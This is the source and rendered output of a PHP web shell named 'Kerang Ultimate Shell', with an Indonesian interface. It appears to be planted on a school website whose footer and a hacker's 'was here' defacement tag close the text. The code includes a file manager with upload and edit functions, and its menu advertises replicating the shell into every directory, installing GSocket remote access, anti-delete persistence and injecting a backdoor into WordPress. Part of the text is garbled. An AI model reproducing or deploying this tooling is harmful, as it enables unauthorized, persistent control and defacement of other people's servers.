$count++; break; } } } } return $count; } function file_lock($path, $filename) { $filepath = $path . '/' . $filename; if(file_exists($filepath)) { @chmod($filepath, 0444); return "File $filename telah di-lock (readonly)"; } return "File tidak ditemukan!"; } echo '<!DOCTYPE html><html><head><meta name="viewport" content="width=device-width,initial-scale=1"><title>???? Kerang Shell</title> <style> body{margin:0;background:#000;color:#fff;font-family:monospace} .header{background:#111;padding:10px;position:sticky;top:0;display:flex;justify-content:space-between;align-items:center;flex-wrap:wrap} a{color:#0f0;text-decoration:none;word-break:break-all} .btn{background:#0f0;color:#000;border:none;padding:7px 12px;border-radius:5px;cursor:pointer} .btn-red{background:#f33;color:#fff} .btn-orange{background:#f90;color:#000} input,textarea,select{background:#111;color:#0f0;border:none;padding:8px;border-radius:5px;width:100%;box-sizing:border-box} .card{background:#111;margin:5px 0;padding:10px;border-radius:8px} table{width:100%;border-collapse:collapse} td{padding:8px;border-bottom:1px solid #222;word-break:break-all} form.inline{display:inline} .feature-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(250px,1fr));gap:10px;margin-bottom:20px} .feature-btn{background:#222;padding:12px;border-radius:8px;text-align:center;cursor:pointer;transition:all 0.3s} .feature-btn:hover{background:#0f0;color:#000} .result-box{background:#0a0a0a;border-left:3px solid #0f0;padding:10px;margin:10px 0;max-height:300px;overflow:auto} .status-bar{background:#0f0;color:#000;padding:5px 10px;border-radius:5px;font-size:12px;margin-bottom:10px} .success-box{background:#003300;border-left:3px solid #0f0;padding:10px;margin:10px 0} @media(max-width:600px){td form{display:block;margin-top:5px}} </style> [removed] function showFeature(feature) { document.querySelectorAll(".feature-panel").forEach(p => p.style.display = "none"); document.getElementById(feature).style.display = "block"; } [removed] </head><body>'; echo ' ???? KERANG ULTIMATE SHELL ????Dir: '.$path.' Logout '; echo ''; // Status Bar echo '???? KERANG MODE: Auto-Replicate ACTIVE | Telegram ACTIVE | Anti-Delete ENABLED | TEBAR = BUAT FILE BARU'; // Feature Menu echo ''; echo ''; echo '???? FILE MANAGER'; echo '???? SCAN FILE BY TIME'; echo '???? TEBAR SHELL (BUAT BARU)'; echo '⚠️ CEK DISABLE FUNCTIONS'; echo '???? GSOCKET AUTO INSTALL'; echo '????️ SHELL ANTI DELETE'; echo '???? WORDPRESS INJECT ACCESS'; echo '???? CLEANING SERVER'; echo '???? FILE LOCK'; echo '???? MASS REPLICATE (50x)'; echo ''; // File Manager Panel (sama seperti sebelumnya) echo ''; echo '<form method="post" enctype="multipart/form-data" class="card" style="display:flex;gap:5px;flex-wrap:wrap"> <input type="file" name="file" style="flex:1"> <button name="upload" class="btn">???? Upload</button></form>'; echo '<form method="post" class="card" style="display:flex;gap:5px"> <input name="newfolder" placeholder="New Folder" style="flex:1"><button class="btn">???? Create Folder</button></form>'; if(isset($_GET["edit"])){ $f=$_GET["edit"]; $content=htmlspecialchars(file_get_contents($f)); echo '<form method="post" class="card"><input type="hidden" name="file" value="'.$f.'"> <textarea name="content" style="height:70vh;background:#111;color:#0f0;border:1px solid #0f0">'.$content.'</textarea> <button name="editfile" class="btn" style="margin-top:5px;width:100%">???? Save</button></form>'; exit; } echo ' '; if($path!="/")echo '[..]'; $files=scandir($path); foreach($files as $f){ if($f=="."||$f=="..")continue; $fp=$path."/".$f; echo ''; echo ''; echo is_dir($fp)?'???? '.$f.'':'???? '.$f.''; echo ''; if(!is_dir($fp)){ echo '????️'; echo '<form class="inline" method="get" style="display:inline"><input type="hidden" name="d" value="'.htmlspecialchars($path).'"><input type="hidden" name="r" value="'.htmlspecialchars($fp).'"><input name="new" placeholder="rename" style="width:80px;background:#222;color:#0f0;border:none;padding:3px;border-radius:3px"><button class="btn" style="padding:3px 8px">????</button></form>'; } echo ''; } echo ''; echo ''; // Scanner Panel echo ''; echo '???? SCAN FILE BY TIME & WEBSHELL DETECTION'; echo '<form method="post"><button name="scan_file" class="btn">Start Scanning (Akurasi 99%)</button></form>'; if(isset($_SESSION["scan_result"]) && isset($_GET["show_scan"])){ echo ''; echo 'Hasil Scan Webshell:'; $results = $_SESSION["scan_result"]; if(empty($results)){ echo "✅ Tidak ditemukan webshell!"; } else { echo "⚠️ Ditemukan " . count($results) . " file mencurigakan:"; foreach($results as $file){ echo "• " . htmlspecialchars($file) . ""; } } echo ''; unset($_SESSION["scan_result"]); } echo ''; // Tebar Shell Panel echo ''; echo ''; echo '???? TEBAR KERANG SHELL (BUAT FILE BARU)'; echo '✅ INFO: Fitur ini akan MEMBUAT FILE BARU dengan nama RANDOM 16 karakter di SETIAP DIREKTORI (5 file per direktori). TIDAK akan menimpa file yang sudah ada!'; echo '<form method="post"><button name="tebar_shell" class="btn btn-orange" style="background:#f90;font-size:16px;padding:10px 20px">???? TEBAR SHELL KE SEMUA DIREKTORI ????</button></form>'; if(isset($_SESSION["tebar_result"]) && isset($_GET["show_tebar"])){ echo '' . nl2br(htmlspecialchars($_SESSION["tebar_result"])) . ''; unset($_SESSION["tebar_result"]); } echo ''; // Panel lainnya (sama seperti sebelumnya) echo ''; echo '⚠️ CEK DISABLE FUNCTIONS'; echo '<form method="post"><button name="cek_disable_functions" class="btn">Cek Disable Functions</button></form>'; if(isset($_SESSION["disable_func"]) && isset($_GET["show_disable"])){ echo '' . $_SESSION["disable_func"] . ''; unset($_SESSION["disable_func"]); } echo ''; echo ''; echo '???? GSOCKET AUTO INSTALL'; echo '<form method="post"><button name="gsocket_install" class="btn">Install GSocket</button></form>'; if(isset($_SESSION["gsocket_result"]) && isset($_GET["show_gsocket"])){ echo '' . htmlspecialchars($_SESSION["gsocket_result"]) . ''; unset($_SESSION["gsocket_result"]); } echo ''; echo ''; echo '????️ SHELL ANTI DELETE'; echo '<form method="post"><button name="shell_antidelete" class="btn">Install Anti Delete</button></form>'; if(isset($_SESSION["antidelete_result"]) && isset($_GET["show_antidelete"])){ echo '' . $_SESSION["antidelete_result"] . ''; unset($_SESSION["antidelete_result"]); } echo ''; echo ''; echo '???? WORDPRESS INJECT ACCESS'; echo '<form method="post"><button name="wp_inject" class="btn">Inject Backdoor ke WordPress</button></form>'; if(isset($_SESSION["wp_result"]) && isset($_GET["show_wp"])){ echo '' . $_SESSION["wp_result"] . ''; unset($_SESSION["wp_result"]); } echo ''; echo ''; echo '???? CLEANING SERVER'; echo '<form method="post"><button name="clean_server" class="btn btn-red">Clean Server (Hapus Kerang)</button></form>'; if(isset($_SESSION["clean_result"]) && isset($_GET["show_clean"])){ echo '' . $_SESSION["clean_result"] . ''; unset($_SESSION["clean_result"]); } echo ''; echo ''; echo '???? FILE LOCK'; echo '<form method="post" style="display:flex;gap:5px"> <input name="lock_file" placeholder="Nama file" style="flex:1"> <button name="file_lock" class="btn">Lock File (Readonly)</button> </form>'; if(isset($_SESSION["lock_result"]) && isset($_GET["show_lock"])){ echo '' . $_SESSION["lock_result"] . ''; unset($_SESSION["lock_result"]); } echo ''; echo ''; echo '???? MASS REPLICATE KERANG SHELL'; echo 'Buat 50 kerang shell baru dengan nama random 16 karakter!'; echo '<form method="post"><button name="mass_replicate" class="btn btn-orange">???? Create 50 Kerang Shells ????</button></form>'; if(isset($_SESSION["replicate_result"]) && isset($_GET["show_replicate"])){ echo '' . $_SESSION["replicate_result"] . ''; unset($_SESSION["replicate_result"]); } echo ''; echo '</body></html>'; ?>
Malz dongok
[removed][removed]
MR KYOTO XPLOIT WAS HERE
Copyright © 2017 - 2026 SMA NEGERI 5 JEMBER All rights reserved.
Powered by sekolahku.web.id